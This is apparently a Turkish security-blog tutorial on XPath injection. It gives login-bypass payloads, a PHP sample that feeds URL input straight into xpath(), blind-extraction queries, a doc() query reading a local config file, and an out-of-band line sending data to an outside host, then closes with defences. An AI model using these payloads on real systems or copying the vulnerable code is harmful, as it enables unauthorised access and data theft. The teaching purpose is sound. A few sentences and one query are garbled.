Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Xpath Injection

Arkadaşlar merhaba. Bu makalemde sizlere bir tür web açıklığı olan Xpath Injection zaafiyetini anlatacağım.

Xpath Injection Nedir ?

İlk önce Xpath’in ne anlama geldiğine bir bakalım . Xpath , XML dökümanları üzerinde basit tipte sorgulama yapmamıza izin veren bir dildir. Yapısı gereği kullanıldığı birçok alan vardır . Örnek olarak XQuery ve XSLT gibi. Tam olarak yaptığı iş , XML dökümanı içerisinde lokasyon aramak ve bulmak diyebiliriz.

Web uygulamalarında veriler veritabanı sunucusunda çeşitli şekillerde depolanabiliyorlar. Sunucudaki veri depolama formatı RDMBS(Relational Database Management System), LDAP(Lightweight Directory Access Protocol) veya XML (Extensible Markup Language) gibi formatlarda olabilir. Uygulama , kullanıcının veri giriş alanlarına girdiği verilerden sorgular oluşturur ve sunucuya gönderir. Sorgunun sunucuda çalışması sonucunda dönen veriler kullanıcıya sunulmaktadır .

Xpath ınjection saldırılarında saldırgan Xpath sorgulama diline , XML veritabanına ve uygulamanın yazıldığı programlama diline hakim olması gerekir.

XML veritabanı , verileri alışılagelmiş olan tablolar içerisinde kolon ve satırlarda değilde , XML dökümanı içerisinde ağaç yapısındaki node’larda saklanır.

Ekran görüntüsü_2016-08-15_15-04-54

XML Veritabanı Ağaç Yapısı

XML veritabanında kullanıcıları için tablolara, kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığı takdirde herhangi bir kullanıcı tüm XML dökümanına erişebilir. Bu da, uygulamada XPath açığı bulunması halinde saldırganın tüm XML veri tabanını ele geçirebilmesi anlamına gelmektedir.

Bu saldırı yöntemine sebep olan durumları, teknikleri ve saldırının oluşturacağı sonuçları hem yazılım geliştirici hem de sistem yöneticisi iyi bir şekilde bilmeli ve sistemin güvenliği için gerekli önlemler alınmalıdır.

XML veritabanında kullanıcıları için tablolara , kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığında takdirde herhangi bir kullanıcı tüm XML dökümanlara ulaşabilir . Bunun sonucunda oluşan güvenlik zaafiyeti olan Xpath açığı bulunması halinde saldırganın bütün XML veri tabanını ele geçirmesi anlamına gelmektedir.

Örnek olarak anlatmak istersek:

Simdi bizim bir Mert diye bir arkadaşımız var. Aşağıda bir kullanıcı adı ve sifre belirliyorum ona göre işlem yapalım.

Kullanıcı Adı= CYPM

Şifresi =CYPM

Şimdi /user[kullaniciadi=“CYPM” and sifre=“CYPM”]  sorgusu uygulama tarafından oluşturularak sunucuya gönderilir. Bu sorgu sonucunda bize (true and true ) = TRUE dönecektir ve mert arkadaşımız sisteme giriş yapmış olacaktır.

Xpath injection saldırısı ile de kullanıcımız bu yetkilendirme aşamasını atalatabilir. Sistemde Xpath İnjection açığı varsa saldırganın giriş formlarına yazacağı,

Eğer Saldırgan kullanıcı adını bilip sifreyi bilmiyorsa:

Kullanici Adı= mert “ or “1” = “1

Şifresi= herhangibirsifre

değerleri ile servera gönderilecek sorgu = /user[kullaniciadi=“ mert” or”1”=“1 ” and sifre=“herhangibirsifre”]  şeklinde olacaktır ve mantıksal işleyişi de şu şekilde olacaktır :

True or (True and False) -> True or False = TRUE olacaktır ve mert arkadaşımızın yetkileri ile giriş yapmış olacağız.

Xpath sorgulamada yorum satırı “< >” tag’leri arasına yazılır. SQL Injectionda olduğu gibi “ – – “ karakterlerinden sonra yazılan mesela şifrenin bilinmemesinden kaynaklanan False değeri, yorum satırı haline getirilip elenemez. Bunun yerine “ 1=1 ” gibi “True” bir ifadeyle “and” işleminin “or” işlemine göre önce işleme alınması kullanılarak False olan şifre değeri elenir ve bu şekilde sisteme girişi yapmış oluruz.

Eğer saldırganımız Kullanıcı Adını da bilmiyorsa şu şekilde giriş yapabilir.

Kullanıcı Adı= herhangibirAd or “1” = “1” or “1” = “1

Sifresi= herhangibirsifre

değerler girildiğinde /*[1]/user[kullaniciadi=“ herhangibirAd” or “1” or “1” =“1 and sifre=“herhangibirsifre”]  sorgusu servera gönderildiğinde bu sorgudaki mantıksal işlem False or True or (False and True)->

True or False = TRUE olacaktır ve bu işlem XML dosyasındaki ilk nodu çalıştıracak ve ilk kullanıcının yetkileri ile sisteme giriş yapılmış olacaktır.

Başka bir Örnek daha verecek olursak :

<?php

$test=$_GET[‘test’];

if($test)

{

$xml=simplexml_load_file(“cypm.xml”);

$result=$xml->xpath($test);

print_r($result);

}

?>

Şimdi bu yukarıda yazdığım cypm.xml dosyasına xpath query gönderdiğimize dikkat ediyoruz. Bu dosyaya bakıyoruz.

<?xml version="1.0" encoding="UTF-8"?>

<note>

<to> CYPM </to>

<from> canyoupwnme </from>

<heading> Mektup </heading>

<body> CYPM üyesiyim </body>

</note>

XML dosyasında taglere bakıyoruz. PHP dosyamıza göre sorguları gönderelim.

Index.php?test=from:

#Array ( [0] => simpleXMLelement Object ([0] => canyoupwnme ) )

Index.php?test=*

#Array ( [0] => simpleXMLelement Object ( [0] => CYPM ) [1] => simpleXMLelement Object ( [0] => canyoupwnme )

[2] => simpleXMLelement Object ( [0] =>Reminder ) [3] => simpleXMLelement Object ( [0] => CYPM üyesiyim ) )

İşte XML dosyasındaki tüm objectler karşımızda.

Blind Xpath Injection Nedir ?

Blinde Xpath ınjection , saldırganın veritabanı ile alakalı oluşturduğu boolean boolean cevaplı sorguları sunucuya göndererek XML dökümanını çözmeye çalışmasıdır.

Bliend injections saldırısı . Xpath açığı bulunan web sitesi sayfalarından gönderilen “true ” veya “false” cevaplarıyla şekilleneceği için , uygulamada sorgulara cevap olarak “true” veya “false” olarak dönen sayfaların belirlenmesi gerekir ki cevaplar bu sayfalar ile anlaşılabilsin.

Xpath Injectionda Kullanılan Fonksiyonlar :

  • Count(item): Node içindeki attributelerin(nitelik,yetenek) sayısını verir.
  • Name() : Node ismini verir.
  • String-length(string) : Belirlenen string değerin uzunluğunu verir.
  • Substring(string,start position, length) : Belirlenen string içerisinde istenilen pozisyondan başlayarak istenilen uzunluktaki alt stringi döndürür.
  • Starts-with(string1,string2) : String1 değeri string2 değeri ile başlıyorsa “true ” , başlamıyorsa “false” döndürür.
  • Contains(string1,string2) : String1 değeri string2 değerini kapsıyorsa true, kapsamıyorsa false döner.

Fonksiyonlar kullanılarak XML dökümanının içeriği brute force kullanılarak , deneme yanılmayla çıkarılmaya çalışılır.

Mesela substring() ve name() fonksiyonları kullanılarak or substring(name(parent::*[position()=1]), 1, 1)=‘a  sorgusu ile ilk node’un isminin ilk karakterinin ‘a’ olup olmadığı sunucuya sunulur.

Done coeval true ise 2. karakterin bulunabilmesi için yeni bir sorgu gönderilir , false ise ‘a’ karakteri yerine olabilecek farklı karakterler true cevabı dönene kadar denenir.

Bu fonksiyonlarla oluşturulan sorgularla karakterler denenerek node isimleri ve değerleri bulunur. Yorum satırı varsa çözülür. Varsa alt nodelar içinde süreç tekrarlanarak XML dökümanı ele geçirilir.

Xcat Aracı

Bütün bunları manuel olarak yapmaya çalışırsak zaman alacağını söylememe gerek yok sanırım . Bu yüzden sağolsunlar Xcat adlı Xpath injection ile veritabanını ele geçirmeye çalışan araç hazırlamışlar.

Python dili ile yazılmıştır. Xpath 2.0 içerisindeki fonksiyonları da kullanmasıyla çok daha hızlı hale gelmiştir.

XML Dosyasının Hangi Directory`de Çalıştığının Belirlenmesi :

Xpath 2.0 versiyonunda base-uri() fonksiyonu sorgunun hangi direktöride çalıştığını döndürür. Bu şekilde dökümana uzaktan erişim sağlanır.

Versiyon Belirleme :

Xpath versiyonun belirlenmesi için , bir büyük harfin “lower-case()” fonksiyonu kullanılarak küçük harfe çevrilip çevrilmediğini kontrol edilir. Lower-case fonksiyonu v1.0 da tanımlı olmadığından sonuç null

dönüyorsa versiyonun 1.0 olduğu , lower-case(‘A’)=‘a’ sonucu alınıyorsa Xpath 2.0 versiyonu olduğu anlaşılır.

Veri Deneme Alanının Daraltılması :

Xpath 2.0 ile gelen fonksiyonlar kullanılarak Xpath 1.0 versiyonunda yapılan bling injection veri deneme alanı daraltılabilmektedir. Böylelikle serverea gönderilen istekler azaltılmış olur ve daha kısa sürede saldırı gerçekleşmiş olur. Servere yapılan istekleri sayısını azaltmak için birçok teknik kullanılmaktadır.

-Unicode Normalizasyonu :

  • Unicode-Normalization() fonksiyonu kullanılarak unicode karaketerler ascii karakterlere çevrilebilir. Bu şekilde arama ascii değerler arasından yapılacağı için unicode gibi geniş karakterler dizisinin kullanılmasına
  • gerek yoktur. Fakat bazı karakterlere Unicode Normalizasyonu uygulanamadığı için veri kayıpları olmaktadır. Mesela ‘á’ karakteri ‘a’ karakterine ve ascii koduna çevrilir.

-String Code Point :

Xpath 2.0 içerisindeki string-to-codepoints() fonksiyonu ile bir string ifade eden her karakteri ayrı ayrı gösterilen sayılar dizisine dönüştürelebilir. String-to-codepoints(“abc”) = (97,98,99) , bu dönüşüm sonucunda sadece string karakterler deneneceği için deneme alanın daralması dolayısıyla servera gönderilen isteklerin azalmasını sağlar.

-Matches() Fonksiyonu :

Bu fonksiyon sayesinde , blind injection ile değeri denenerek bulunmaya çalışılan karakterlerin küçük büyük harf mi, sayı mı , sembol mü olduğu sorgular gönderilerek önceden öğrenilir. Böylelikle sadece belirlenen kategorinin karakterleri denenir ve sorgu sayısı azaltılmış olur.

 matches(/users/user[1]/kullaniciadi/text(),”[A-Z]”)

-Error() Fonksiyonu ile Sorgu Sonucu Bulma :

Uygulamada , servera gönderilen sorguların sonuçları için serverdan dönen “true” ve “false ” sayfaları yoksa , error() fonksiyonu kullanılarak sorgunun sonucu öğrenilir.

and(if($sorgu) then error() else 0) and ‘1’ = ‘1  surge parametere içine yazılabilecek olan sorgunun sonucu True ise error() fonksiyonu çalışacak ve hata sayfası görünecektir.

Doc() Fonksiyonu :

Doc() fonksiyonu lokal sistemde veya uzak serverdaki xml dosyalarının okunmasının okunmasını sağlayan Xpath 2.0 versiyonun fonksiyonudur. Doc() fonksiyonu sayesinde saldırgan Xpath açığı bulunan uygulamanın , dosya sistemi üzerindeki XML veritabanını yetkisi olmadan görüntüleyebilir.

doc(“file:///etc/conf/config_file.xml”)/*[1]/text()  sorgusu ile lokal sistemde config_file.xml dosyası içinde ilk node da bulunan verileri görüntületir.

Hedef serverdan XML dökümanını doc() fonksiyonuyla çekebilmek için tıpkı SQL Injection’ın Out Of Band saldırısında olduğu gibi saldırgan HTTP protokolünü ve DNS isteklerinide kullanabilir.

HTTP protokolüyle saldırgan doc() fonksiyonuyla oluşturduğu ifadeyi GET isteğiyle hedef servera gönderir. Hedef server tarafından isteğin zararlı olduğu engellenmez ise cevap olarak , ifade içindeki Xpath sorgusu çalıştırılarak saldırganın serverine gönderilir. Bu şekilde XML dökümanı Blind injection’a göre daha hızlı ve kısa sürede ele geçirilir. Hız sadece veritabanından verileri çekerken HTTP protokolünün veriyi çekerken taşıyabileceği maksimum paket büyüklüğü ile sınırlıdır.

Servera HTTP isteği gönderilirken gerekli Xpath sorgu ifadeleri URL’ ye concat() fonksiyonu ile eklenir. Sorgu ifadesinin içerisinde özel ifadeler bulunmayacağından , gönderilmeden önce encode-for-uri() fonksiyonu kullanılarak url encode edilmelidir.

Örnek

doc(concat(“http://canyoupwnme.com/savedata.py?d=”))

HTTP isteği çoğu durumda server tarafından firewall engellemesine takılabiliyor. Bu durumda saldırgan isteği hedef serverda çalıştırabilmek için DNS isteğinde bulunur. Saldırgan hedef DNS serverinden kendi serverinin adresini istekte bulunur. Hedef server gelen isteği saldırganın serverine ileterek cevap bekler. Saldırgan serverinden cevap olarak kendi adresine Xpath sorgusunuda ekleyerek hedef bilgisayara gönderir,sorgu çalışır ve hedef server tarafından DNS isteğinin cevabı ile Xpath sorgusunun sonucunda dönen veriler saldırganın bilgisayarına gönderilir.

Xpath Saldırısından Korunma Yolları :

Öncelikli olarak uygulama geliştirici code kısmında ,kullanıcının veri girişine izin verdiği alanlarda girilen karakterlerin bir Xpath sorgusu teşkil etmemesi için girişleri filtreleyerek sınırlamalar getirilmelidir.

Sınırlama kullanıcının girmemesi gereken karakterler yerine girebilme ihtimali olan karakterler dışında kalanları filtrelemek ile gelecekte çıkacak olan zero-day saldırılarına karşıda bir nevi önlem alınmış olur.

Girdi olarak Xpath fonksiyon isimleride kesinlikle engellenmelidir. Sınırlamalar yazılımla client tarafta yapıldığı gibi , server tarafında da firewall kurallarıyla kontrol edilmeli ve önlem alınmalıdır.

Parametreli sorgular kullanılmalıdır. Parametreli sorguda kullanıcı girdilerinin direkt olarak çalışma zamanında kullanılmasının yerine önceden compile edilerek kullanılmış olurlar. Böylece çalışma zamanında kod çalıştırma engellenmiş olur.